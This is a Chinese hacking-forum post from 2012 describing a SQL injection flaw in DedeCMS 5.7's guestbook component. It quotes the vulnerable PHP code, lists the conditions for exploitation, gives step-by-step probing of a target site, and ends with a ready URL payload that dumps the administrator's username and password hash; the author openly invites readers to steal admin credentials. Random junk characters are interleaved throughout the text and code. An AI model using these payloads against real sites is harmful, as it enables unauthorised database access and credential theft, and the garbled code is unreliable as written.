找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4281|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
影响版本为5.7
) O" e# U. |( `* }# t1 j5 M
9 B$ c1 t+ H& e  |7 \' A" m* C漏洞文件edit.inc.php具体代码:+ u$ F+ D" p; w9 ]4 R, l8 R

, _, o5 {' m" g% A< ?php  
! ^5 |: \1 j7 H$ n, o) K
0 _5 M, G% v' [if(!defined('DEDEINC')) exit('Request Error!');  
: \) {. V9 P' O( A& t& y$ d$ E
   
+ u6 J9 w  s+ {, x. U
$ e8 s! H( k/ G9 h) F) Vif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  6 H  W. {1 d7 \
: y4 ]9 d$ d6 K
else $GUEST_BOOK_POS = "guestbook.php";  
1 x! O8 O2 W" L/ s3 E5 K: w
* c' R) X9 o; a$ i( U6 E   - ?) m$ p, ~! S6 [* x( S& [1 }: j
& R3 I. I( y7 N7 r
$id = intval($id);  6 G! E8 \; c* u: n' X6 n

" ^) ^9 C  b3 v& x' _6 }" V2 Tif(empty($job)) $job='view';  " r# q, r) ]: \  s5 \3 F. W2 o4 y! b

# Q- d" u7 o5 j* q' {   ! N. D$ T- z9 `# o* A% \  B
0 l) R& W$ g% d, g% O6 J. E. F7 ]
if($job=='del' && $g_isadmin)  
2 L- c: w( B2 S. J# `5 P- Q$ u. U" O
0 y) o+ `7 Q8 \- O* o{  
5 A7 _% p2 d: T2 L: H0 o6 g+ r' Z+ e  x2 Z+ j% K) J1 ]
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  9 w% T% p7 [# i+ h- v7 T" [8 H

5 w2 B0 [& s& Y+ j5 n) d& k$ pShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
% }+ r4 M% J% y  Z! d6 g- A+ p# W5 n
exit();  
+ ?9 \: ^, H; M/ R$ b' }% o3 U9 I+ L0 ~3 n
}  ' t2 K+ o( l9 ~7 G' @: Y
% f' o8 B. ~. T/ |% {0 ~% X
else if($job=='check' && $g_isadmin)  7 B0 M1 a- \; d0 _2 Z) P

  O' F: f5 J, [- H$ T6 u0 Y) c: ]{  
) X* ~( s. F# L, o2 T
% y) Q" B4 a3 p. F, U8 {$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
3 K1 r- d1 O" t: a1 M7 E4 P. m( z- J) V9 G3 g7 l5 g
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
% d/ t% i( G$ K) y  c4 X- ?
. u9 g- B* y5 E2 v* Y* [$ ~exit();  
+ o. P) P7 d: C5 V* z$ y5 ]+ c4 s5 \2 p1 B- z
}  " a: @5 E+ a1 g' p

. b" D7 m% U; S( jelse if($job=='editok')  , r/ t8 o( _- o* I/ `6 [

5 N& ~- H! f8 F! O" K* W% ]$ y; ]1 `{  * t: z8 B6 V5 ^: L3 B# V) v% w

; T8 v+ W& V' B5 }$remsg = trim($remsg);  " j; {8 q6 d; e* o; P/ l6 E

, K9 x9 E; J* @8 B) y1 G9 a8 U0 Dif($remsg!='')    A: C2 y6 O+ D5 ]

# c, R  R4 [- `: ~{  5 b9 u8 r/ ]& A* ^2 p- i$ B
3 I+ p9 Y6 H1 {" H
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
# n+ H% j# g# L- ]. Q6 d2 G
5 H8 A5 T4 e5 i+ g  M8 Rif($g_isadmin)  ' Q; S8 U8 Y+ [* M

$ ^% e0 `$ f3 q{  . i: ^" q* K0 K7 g5 @
8 y2 f* n0 P1 p3 ]
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
6 V, h+ I, |  S0 a, T" a
, P- c1 Z5 T. `; v3 H//$remsg <br /><font color=red>管理员回复:</font> }  / O3 a  R# A! y( Z
$ D* F7 H3 R- u: _
else , a  x- ^- y/ Q& U7 v0 |
8 O2 [4 R, o9 S7 M4 a
{  - B+ |. W# O; h( f. e7 J- N
; x0 d- k8 b: B, O1 [" e, V! N% f. e
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
: p& v0 s2 ?% v/ g7 I& O7 j+ A% F) [) f, B* u  o
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
4 I( h  s0 `/ d! A( Y. h; m' ^  }, ~5 E0 _2 Q* f
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
) B' J) l% U  Q* F  E) q" D/ c4 v' N/ V* I  E+ E/ F% Y' A& o
$msg = $oldmsg.$remsg;  0 @1 H0 _8 T' n( B! T
1 ~% l: A3 s+ w2 j3 t* g
}  
) q7 g' |+ e# Z5 C. }/ M, \2 M
* u% ~/ `' J" d}  
8 L2 w4 s' w8 Z  L* x9 v& R, e1 K8 P+ x, q
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
- P, F* W6 |: k( k/ r" \8 `4 M, E0 W& j* L9 c
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  7 b& q4 [$ Y  u/ Z9 t4 j2 L

+ Y4 `, S: u8 b$ b; P, e  ?6 MShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  5 B0 B% z! P5 |* Y- x

2 h9 g/ y6 z( w7 c$ o( ~; `$ i* O/ o9 jexit();    K, o/ K& k8 f, B
" N. w# R1 A2 s0 O8 N  {/ D
}  
" I8 U' O( ^8 k9 s. }1 f+ b: w$ k. d& o# p& [0 Z% x( F  k3 L
//home:www.errs.cc  
4 N- w' e( ]3 q, h3 @; I# S# s) R3 \4 `" G
if($g_isadmin)  * j- n( G+ K% _& b& X- ]. ^

: e7 @) I, f+ B3 K3 n/ C{  " s1 W9 u4 G, S4 J( _# w! v" w3 X

: g, |" e/ m4 F+ X! x! i1 V0 m+ W  w+ U$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  9 W, L% S9 ^. j' ?# g
( ^/ L( G8 j0 m* N( s
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
* N; P) }( u1 u" _7 F
# Z2 M" O9 a& G3 J0 }$ V}  
. h) f) R2 X9 ^, [5 Y) @3 V5 y7 Q: Q! S. R" ~4 s  ~; v' W! q& h
else
. U9 j5 {# ~" d0 a$ {6 ]7 V) r; E/ L& O  w- w7 ?
{  % O6 e2 @# j' z% `# N+ ~5 Y) c4 G; B

; f$ [1 K7 s0 N! J; D. R$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
8 d6 ~8 s0 U7 K/ j
$ m$ R  A; X$ s. f  Vrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  7 ^/ P) o5 z0 x0 t& A
# F# L; g! q2 ]7 j
} 漏洞成功需要条件:- v  g; w( @( d+ H6 I, j0 U9 h# M
1. php magic_quotes_gpc=off# d" X& D3 K  t! y* s5 u
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
0 R0 l" }1 C& h( D- l' j
* P7 j# \, d) _怎么判断是否存在漏洞:
9 M/ b& y) T2 Q. R; K+ G. C2 i先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,4 ^' v) p1 Y+ x
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
7 Z# O- ?. p* U1 a5 @# y" p7 ?  [7 C/ s访问:
1 e) O: C+ P8 _$ e- u" b. p, ]" w: ]4 A" j+ O* \- _
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了0 X# @" j0 g, A2 _. y% P; g. N9 K
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证5 c0 J6 X1 ]- o5 E3 g0 r

: u6 x' m: m3 Y. y9 h. G) M" u$ ^# j' T' m  Z9 B4 L
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off* U+ h2 v' O: @/ `- O' [2 Z
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。% x7 |! a" ^* c8 k; E# [
那么再次访问
% E7 S5 R) I$ v& a
# V; Y& }3 ]8 x' o, t( P3 _, lwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().8 c. w$ X- y- Q; n. d4 l
8 I3 K& ^; @4 r! j* d& l2 j
大概利用就是这样,大家有兴趣的多研究下!!: u) N" T0 S5 ]8 i4 D; |  P
$ M  _( A; q+ N) Y
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
3 `% v; k0 X' H9 O' i; Y* F, ~
8 F4 Z6 J; O3 C" x8 |  e3 X. mview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表